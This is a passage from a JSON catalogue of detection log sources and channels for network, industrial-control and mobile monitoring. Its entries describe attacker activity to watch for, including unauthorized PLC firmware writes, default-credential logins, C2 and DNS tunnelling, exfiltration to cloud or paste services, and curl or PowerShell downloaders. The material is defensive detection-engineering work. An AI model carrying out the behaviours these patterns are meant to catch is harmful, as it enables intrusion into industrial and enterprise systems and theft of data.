                        },
                        {
                            "name": "NSM:Content",
                            "channel": "MQTT/AMQP/DDS protocol and message metadata when visible"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "MQTT/AMQP/DDS protocol identification, broker/topic/client metadata when visible"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "SSL Certificate Metadata"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "HTTP Header Metadata"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "TLS Fingerprint and Certificate Analysis"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Traffic on RPC DRSUAPI"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "session on firmware-capable port exceeds session size threshold from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "firmware write service targeting specific slot/rack address from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "large session on firmware-capable port from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/control command traffic from source not in approved Supervisory Control and Data Acquisition (SCADA) servers directed at multiple distinct device IPs within rogue master time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "task/organization-block modification service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Download Block / Common Industrial Protocol (CIP) Download Program / Distributed Network Protocol (DNP3) program file transfer to device_ip from source not in engineering workstation list within mode change to download window of mode-change event"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write to existing program block address from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "download of block address not previously present in device program inventory, from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "decoded ICS protocol unsolicited response or OPC UA data-change message for a device/address not normally owned by the observed source"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "decoded ICS protocol write/setpoint operation to a control/output address from a client identity or source not in the approved control-application baseline"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "OPC UA Browse/BrowseNext request to namespace or system-information objects from a client identity or source not in the approved monitoring baseline"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "source not in approved Supervisory Control and Data Acquisition (SCADA) servers issuing reads covering sequential address ranges across multiple device Internet Protocol (IP) addresses within auto collection time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed Protocol Data Unit (PDU) rate to device_ip exceeds threshold within detection window from source not in approved Supervisory Control and Data Acquisition (SCADA) server list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "EtherNet/IP ListIdentity broadcast or sequential Industrial Control System (ICS) protocol connection attempts across Internet Protocol (IP) range from source not in approved Supervisory Control and Data Acqusition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "structurally valid Industrial Control System (ICS) protocol message from source not in approved communication baseline for the destination device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "read-only function codes from source not in approved Supervisory Control and Data Acquisition (SCADA) servers at rate exceeding baseline poll rate or covering address ranges outside known tag ranges"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Open Platform Communications Unified Architecture (OPC UA) BrowseNamespace or Distributed Network Protocol 3 (DNP3) object 0 all-variation read or Common Industrial Protocol (CIP) Get_Attributes_All from source not in approved Supervisory Control and Data Acquisition (SCADA) servers, covering above namespace coverage threshold percent of device tag space"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Generic Object Oriented Substation Event (GOOSE) dataset stNum value decreases (replay indicator) or test-mode bit asserted on protection relay without scheduled maintenance"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "mode-change service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write to alarm threshold address range from source not in approved write sources with new value outside safe alarm threshold range"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/operate command targeting safety-critical output addresses from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "restart/reset service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "firmware-update-mode activation service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write function code to same register address at rate exceeding max write rate per point within brute force detection window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write function code (FC 6/16) to setpoint address range with value outside baseline value range, or from source not in approved write sources"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "device authentication session from source Media Access Control (MAC)/Internet Protocol (IP) address not enrolled as authorized engineering workstation, with valid credential"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "authentication success using credential matching default vendor credential list from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "credential/access code change command from source not in approved security admin list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "device authentication success using credential pattern matching known hardcoded credential patterns from source not in approved access list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "authentication success using credential matching default vendor credential list or known hardcoded credential patterns from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "restart/reset service from source not in engineering workstation list, with more than one device receiving the command within bulk restart time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "GetIdentity/Identity Object response vendor/product string does not match enrolled asset inventory for device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "CIP Port Object Get_Attribute_All or topology query from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "EtherNet/IP ListIdentity or Modbus broadcast from source Media Access Control (MAC) address not in approved device inventory"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Internet Group Management Protocol (IGMP) join or Generic Object Oriented Substation Event (GOOSE) multicast subscription from source Media Access Control (MAC) address not in approved device inventory"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Hypertext Transfer Protocol (HTTP) request to device management web interface with exploit-pattern payload from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "protocol-level latency inconsistent with direct communication, or Media Access Control (MAC)/Internet Protocol (IP) address binding change for device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "transaction identifier reuse pattern or function-code distribution deviates from established per-device baseline within Adversary in the Middle (AiTM) correlation window of the Media Access Control (MAC) address binding change"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "single session reads address range covering above full image coverage threshold percent of device total Input/Output (I/O) space, from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/control method invocation from client identity not in approved application list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed or oversized Industrial Control System (ICS) protocol message from unexpected source followed by device behavioral anomaly (reboot, mode change) within a short window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed or exploit-payload data via built-in communication interface from external source"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "vendor diagnostic function code with payload matching code execution pattern from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "anomalous protocol exchange preceding device behavioral change (reboot, altered configuration)"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "deterministic function code response content diverges from the device's established per-function response baseline without a corresponding firmware update event"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "bulk read of configuration/data dictionary objects from source with no prior session history with this device"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "event buffer clear or log clear service from source not in engineering workstation list, correlated with preceding suspicious activity on the same device"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "reserved or vendor-specific function code accessing device registers directly from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "bulk configuration/program object read from source with no prior configuration-read session history"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Initialize_Memory or MEMORY_RESET service from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Upload Block / Common Industrial Protocol (CIP) Read Program session from source not in engineering workstation list with bytes_recv exceeding program upload size threshold"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm SZL Central Processing Unit (CPU)-state read or Common Industrial Protocol (CIP) Identity Object state attribute read from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "SZL module inventory, Identity Object, or Device Attributes query from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Upload ALL or Common Industrial Protocol (CIP) full program upload from source not in engineering workstation list, bytes_recv exceeding full upload size threshold"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "online block edit service from source not in engineering workstation list outside change control window, with device remaining in RUN mode throughout"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Virtual Network Computing (VNC) connection or screen-capture Hypertext Transfer Protocol (HTTP) request to embedded Human-Machine Interface (HMI) panel from source not in approved operator workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Virtual Network Computing (VNC) or remote console session to embedded Human-Machine Interface (HMI) panel from source not in approved management Classless Inter-Domain Routing (CIDR) subnet"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Native DNS query/response content: long/encoded labels, TXT use, unusual query structure"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Native DNS query/response content"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "DNS query/response metadata and content"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Device DNS query/response content"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "TLS/HTTP inspection"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Outbound encrypted traffic"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "ICMP/UDP protocol anomaly"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log / xmpp.log (custom log feeds)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log or AMQP custom log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log, xmpp.log, amqp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TCP/UDP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TCP session tracking"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Captured packet payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "session behavior"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "External C2 channel over TLS"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "unexpected network activity initiated shortly after shell session starts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SPAN or port-mirrored HTTP/S"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ssl.log, websocket.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Browser connections to known C2 or dynamic DNS domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Session History Reset"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP "
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/TLS Logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious GET/POST; downloader patterns"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSH logins or scp activity"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "remote login and transfer"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "outbound egress from web host after suspicious request"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Requests towards cloud metadata or command & control from pod IPs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "packet capture or DPI logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual Base64-encoded content in URI, headers, or POST body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Base64 strings or gzip in URI, headers, or POST body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound to 22/5900/8080 and follow-on internal connections."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP body contains long Base64 sections"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: Base64/MIME looking payloads from ESXi host IP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "LDAP Bind/Search"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "LDAP Query"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "smtp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "smtp.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "remote CLI session detection"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ftp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "PCAP inspection"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large HTTPS POST requests to webhook endpoints"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large upload to firmware interface port or path"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log + http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Session Transfer Content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Captured File Content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "C2 exfiltration"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Transferred file observations"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::request: Outbound HTTP initiated by Python interpreter"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large HTTPS POST requests to text storage domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TLS downgrade or inconsistent DNS answers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log or http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: suspicious long tokens with custom alphabets in body/headers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Egress to non-approved networks from host after terminal exec"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Flow/PCAP analysis for outbound payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log + files.log + ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS or custom protocol traffic with large payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unexpected script or binary content returned in HTTP response body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Injected content responses with unexpected script/malware signatures"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Relay patterns across IP hops"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ldap.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Probe responses from unauthorized APs responding to client probe requests"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Excessive gratuitous ARP replies on local subnet"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "POST requests to .php, .jsp, .aspx files with high entropy body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns.log"
                        },
                        {
                            "name": "NSM:FLow",
                            "channel": "dns.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Encrypted tunnels or proxy traffic to non-standard destinations"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large transfer from management IPs to unauthorized host"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, smb_files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mirror/SPAN port"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, conn.log, smb_files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSL/TLS Inspection or PCAP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http, dns, smb, ssl logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns, ssl, conn"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log, http.log, dns.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "icmp.log, weird.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Multiple DHCP OFFER responses for a single DISCOVER"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSL/TLS Handshake Analysis"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP Header Metadata"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Network Capture TLS/HTTP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "container egress to unknown IPs/domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP Request Logging"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssh connections originating from third-party CIDRs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssh/smb connections to internal resources from third-party devices"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "host switch egress data"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Outbound HTTP/S"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log - Certificate Analysis"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log, x509.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious POSTs to upload endpoints"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TLS/HTTP download with atypical MIME (application/octet-stream, application/x-zip, application/x-gzip) followed by local decode/write"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S)/QUIC media download with opaque content types (image/*, audio/*, video/*) from non-gallery domains or CDNs not previously used by the app"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S)/QUIC download of executable/opaque content (application/octet-stream, application/zip, application/java-archive, application/x-dex, application/x-sharedlib, text/javascript)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "burst of DNS queries/connection attempts to RFC1918 or local gateway immediately after scans"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS sessions exhibiting periodic request cadence or structured payload exchanges inconsistent with application baseline"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application-layer indicators observable via enterprise network controls (HTTP method, URI path pattern class, TLS SNI, JA3/ALPN when available, DNS qname/type) showing anomalous or low-and-slow command polling behavior"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Near-term increase in traffic to identity endpoints associated with SMS MFA, account recovery, or OTP verification (IdP, banking, crypto), correlated to SIM/service loss"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Abrupt shift from cellular egress to Wi-Fi-only egress, or new VPN/proxy session establishment following cellular service loss"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application-layer web traffic showing suspicious redirect chains, iframe/ad-tech cascades, user-agent or environment fingerprinting requests, or staged payload retrieval after page visit"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application initiates HTTPS connection with repeated certificate validation failure under enterprise proxy followed by direct network retry or stable opaque TLS communication to same endpoint within correlation window"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "App-destination pair shows consistent inspection bypass/refusal pattern followed by direct encrypted communication or repeated short-lived TLS sessions to same endpoint within correlation window"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application retrieves remote content from non-baselined domain or IP and the transfer direction is inbound to device during the file acquisition phase"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Managed iOS app retrieves remote content from non-baselined domain or IP with inbound payload transfer during the acquisition phase"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Device shows correlated inbound session establishment followed by outbound connections to separate external destinations with overlapping timing and relay-like byte symmetry"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Traffic spike preceding control crash"
                        },
                        {
                            "name": "NSM:Inspection",
                            "channel": "TLS session from mobile app fails, resets, or refuses enterprise interception while same destination/app pair repeatedly establishes direct encrypted communication pattern consistent with pinned certificate/public-key validation"
                        },
                        {
                            "name": "NSM:Inspection",
                            "channel": "TLS handshake from iOS app repeatedly fails or is rejected only when enterprise SSL inspection certificate is presented, indicating certificate or public-key pin validation effect"
                        },
                        {
                            "name": "NSM:TLS/HTTP",
                            "channel": "SNI/HTTP host or resolver endpoint identification when observable"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "SNMP request/response decoder: OID, operation type, source/destination; flag access to undocumented/vendor-internal OIDs from non-approved NMS sources"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Decoded OT/file-transfer transaction: transfer operation, source/destination, object/file identifier where exposed by the protocol, outside approved engineering/change window"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Decoded DNP3/IEC 61850 file-transfer transaction: source/destination and file/object identifier where exposed; correlate with approved engineering source and change window"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Protocol decoder/IDS transaction: traffic on an ICS service port fails expected protocol parsing/conformance or decodes as a different application protocol"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Protocol decoder/IDS transaction/signature: exploit-relevant request against ICS remote service from unexpected source, correlated with subsequent endpoint/device anomaly"
                        },
                        {
                            "name": "saas:box",
                            "channel": "API calls exceeding baseline thresholds"
                        },
                        {
                            "name": "saas:confluence",
                            "channel": "REST API access from non-browser agents"
                        },
                        {
                            "name": "TelecomLogs:SS7Signaling",
                            "channel": "Subscriber information queries, routing requests, or location update messages with anomalous node identifiers or unexpected origin patterns"
                        },
                        {
                            "name": "TelecomLogs:SS7Signaling",
                            "channel": "Location resolution, routing, or subscriber information exchanges with anomalous signaling paths or node identities"
                        },
                        {
                            "name": "Traffic",
                            "channel": "None"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Supervised or newly activated device initiates outbound connections to destinations outside Apple, MDM, update, or enterprise-managed baselines while locked, with no recent user interaction, or before expected app enrollment completion"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Application or device component communicates with legitimate external web-service infrastructure such as cloud storage, social media, messaging, collaboration, paste, code-hosting, CDN-backed API, or generic HTTPS service in a pattern inconsistent with the app's approved network baseline, timing, or service class"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Supervised device or managed app communicates with legitimate external web-service infrastructure such as cloud storage, messaging, collaboration, social, paste, or generic HTTPS API platforms in a pattern inconsistent with expected service baseline, managed app role, or normal background refresh behavior"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed HTTP GET or HTTPS session to public web platform (social, paste, collaboration, cloud storage, code-hosting) returned content followed by outbound connection to a different domain or IP within TimeWindow"
                        },
                        {
